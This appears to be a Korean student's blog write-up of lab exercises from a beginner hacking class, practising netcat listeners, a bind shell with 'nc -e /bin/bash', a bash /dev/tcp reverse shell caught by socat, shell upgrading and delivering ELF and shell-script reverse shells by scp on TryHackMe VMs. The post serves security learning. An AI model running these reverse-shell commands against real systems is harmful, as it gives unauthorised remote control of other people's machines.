Q. ssh로 로그인해 보기!
ssh로 로그인하기 위해서는 해당 명령어를 사용하면 된다. 이때 주소는 tryhackme.com에서 부여받은 ip로 하였다.
ssh [ID] [주소]
Q. 실습 VM에서 7777 포트를 열고, 칼리 리눅스에서 들어가 보자. (+데이터 주고받기!)(+Wireshark)
내 pc와 ssh로 접속한 pc가 네트워크 연결을 할 때 사용하는 명령어는 nc이다.
실습 vm (서버)
nc -nlvp 7777
내 pc (클라이언트)
nc [실습vm IP주소] 7777
해당 명령어를 입력하면 서버는 리스닝 상태로 진입한다.
이때 클라이언트가 접속을 하게 된다면
연결됐음을 알리고 데이터 통신이 가능하게 된다.
클라이언트가 서버에게 데이터를 보내게 되면 서버에서 바로 데이터를 확인할 수 있다.
방금 보낸 데이터를 wireshark를 통해 확인해 보면
10.18.52.42 (내 PC, 클라이언트)가 10.10.71.176 (서버) 에게 hello라는 데이터를 전송한 것을 확인할 수 있다.
Q. 실습 VM에서 8888 포트를 열고 여기에 /bin/bash를 연결해 보자
nc에서 프로그램을 연결하려면 -e 옵션을 사용하면 된다
nc -nlvp 8888 -e /bin/bash
Q. 칼리 리눅스에서 실습 VM의 8888로 들어가 보자. 그리고 어떤 일이 일어나는지 확인!
8888번의 서버로 연결하게 되면 아까와 같은 데이터를 전송하는 게 아닌 /bin/bash를 사용할 수 있게 된다.
bash 쉘을 사용할 수 있으니 기본적인 명령어도 다 사용이 가능하게 된다.
Q. Kali Linux가 공격자라고 가정하고, Reverse Shell로 실습 VM의 쉘을 받아오자!
Reverse Shell은 공격자의 컴퓨터가 서버를 열고 피해자가 쉘을 들고 접속하는 것을 뜻한다.
먼저 공격자의 pc에서 서버를 열어보자
그 후 피해자의 pc에서 미리 열어둔 서버에 쉘을 가지고 접속을 하면 된다
연결이 완료가 되면 Reverse Shell을 성공한 것을 알 수 있다.
Q. 쉘을 이쁘게 만들어볼까?!
Reverse Shell에 성공하면 쉘에 아무것도 표시가 되지 않아 위치가 어디인지 계정이 무엇인지 등을 알기가 쉽지 않다
그럴 때 다음 명령어를 사용하면 된다.
python -c "import pty;pty.spawn('/bin/bash')"
해당 명령어를 입력하면 기존에 사용하던 쉘의 모습으로 사용할 수 있다.
Q. Bash Reverse Shell 사용해 보기! (NO nc)
다양한 Reverse Shell을 쉽게 사용할 수 있는 사이트인
https://www.revshells.com/ 에 들어가서 Bash Reverse Shell을 사용해 보자
- 상단 왼쪽 Ip&Port 칸은 공격자의 ip와 임의의 port번호를 입력하는 칸이다
- 상단 오른쪽 Listener 칸은 listen type을 선택하고 공격자의 pc에서 입력해야 하는 명령어가 출력되는 칸이다
- 하단 Reverse 칸은 피해자의 pc에서 어떤 식으로 reverse shell을 실행시킬지 선택하고 명령어가 출력되는 칸이다.
nc를 사용하지 않기에 listen type을 socat으로 변경해 주고
내 pc의 ip와 임의의 port번호를 적어주면
다음과 같은 명령어가 나오게 되고 해당 명령어를 공격자 pc에서 실행시켜 준다.
공격자 pc
socat -d -d TCP-LISTEN:8888 STDOUT
해당 명령어를 공격자 pc에서 입력하게 되면 리스닝 상태로 들어가게 된다
그다음 피해자의 pc에서 실행시킬 명령어를 선택 후 피해자의 pc에서 실행시키면 된다.
바로 처음에 있는 Bash-i를 사용해 shell을 /bin/bash로 변경 후 명령어를 입력해 준다.
피해자 pc
/bin/bash -i >& /dev/tcp/10.18.52.42/8888 0>&1
그럼 Reverse Shell에 성공한 것을 확인할 수 있다.
Q. test.txt라는 파일을 만들고 이 파일을 보내보자!
상대방에게 원격으로 파일을 보낼 때는 scp 명령어를 사용하면 된다
scp [File] 계정@IP:[경로]
먼저 vi를 사용해 test.txt를 만들어보자
해당 파일을 segfault계정에 전송을 해주면 된다.
※ 마지막 경로 부분의.은 전송 시 홈 디렉터리로 가기에 segfault 홈 디렉터리를 의미하는.이다
segfault 계정으로 들어와 확인해보면
성공적으로 파일이 전송된 것을 확인할 수 있다.
Q. elf로 작성된 reverse Shell 파일을 올리고, reverse shell을 받아보자!
여기서 elf 파일은 실행 가능한 프로그램을 말하는 것이다.
elf 파일을 만들기 위해서는 소스코드를 컴파일하고 링크하는 과정을 거쳐야 한다
먼저 revshell.com에 들어가 reverse shell 소스코드를 가져와 .c 파일로 만들어 준다
그다음 해당 c 파일을 gcc 명령어를 통해 컴파일하며 오브젝트 파일로 변경해 준다.
*오브젝트 파일이란?
오브젝트 파일(Object File)은 소스 코드를 컴파일한 결과물로서, 컴파일러가 소스 코드를 기계어로 변환한 중간 단계의 파일입니다. 이 파일은 실행 가능한 프로그램으로 직접 실행되기보다는 링크 과정을 거쳐 최종적으로 실행 파일로 만들어지는 중간 형태의 파일입니다.
오브젝트 파일은 하나의 소스 파일이나 여러 소스 파일을 개별적으로 컴파일하여 생성할 수 있습니다. 대개의 경우, 큰 프로젝트는 여러 소스 파일을 각각 개별적으로 컴파일하여 오브젝트 파일로 만든 후, 이를 링크하여 최종 실행 파일을 생성합니다. 이렇게 하면 중간 단계에서의 모듈화와 재사용성이 높아지며, 더 큰 프로그램을 관리하고 유지보수하는 데 용이합니다. -chatgpt-
그 후 컴파일한 파일을 실행파일과 링크를 해주면 elf 파일이 생성이 된다.
해당 elf 파일을 scp명령어를 통해 상대방에게 전달 후 상대 pc에서 실행을 하면 reverse shell 성공이다.
Q. sh로 작성된 reverse Shell 파일을 올리고, reverse shell을 받아보자!
sh는 쉘 스크립트 파일을 나타내는 확장자이다.
쉘 스크립트를 작성하여 위의 방법과 동일하게 하면 되는 것이다.
먼저 사이트에서 쉘 스크립트에 들어갈 명령어를 찾고
vi를 사용해 확장자명이 .sh가 되도록 파일을 만든다
그리고 해당 파일을 실행할 수 있도록 권한을 준다.
그럼 sh 실행파일이 만들어졌고 scp 명령어를 사용해 상대방 pc에 전송 후 실행을 시키면 된다.
상대방 쉘을 획득하는 데 성공하는 것을 확인할 수 있다.
'Hacking > Hacking Beginner Class (normaltic)' 카테고리의 다른 글
[해킹 비기너 클래스] 4주차 Practice (0) | 2023.08.11 |
---|---|
[해킹 비기너 클래스] 4주차 정리 (웹서버와 웹쉘) (0) | 2023.08.11 |
[해킹 비기너 클래스] 3주차 정리 (Shell, Shell 획득법) (0) | 2023.08.08 |
[해킹 비기너 클래스] 2주차 정리 (네트워크에 대해) (0) | 2023.07.21 |
[해킹 비기너 클래스]1주차 Practice (1) | 2023.07.13 |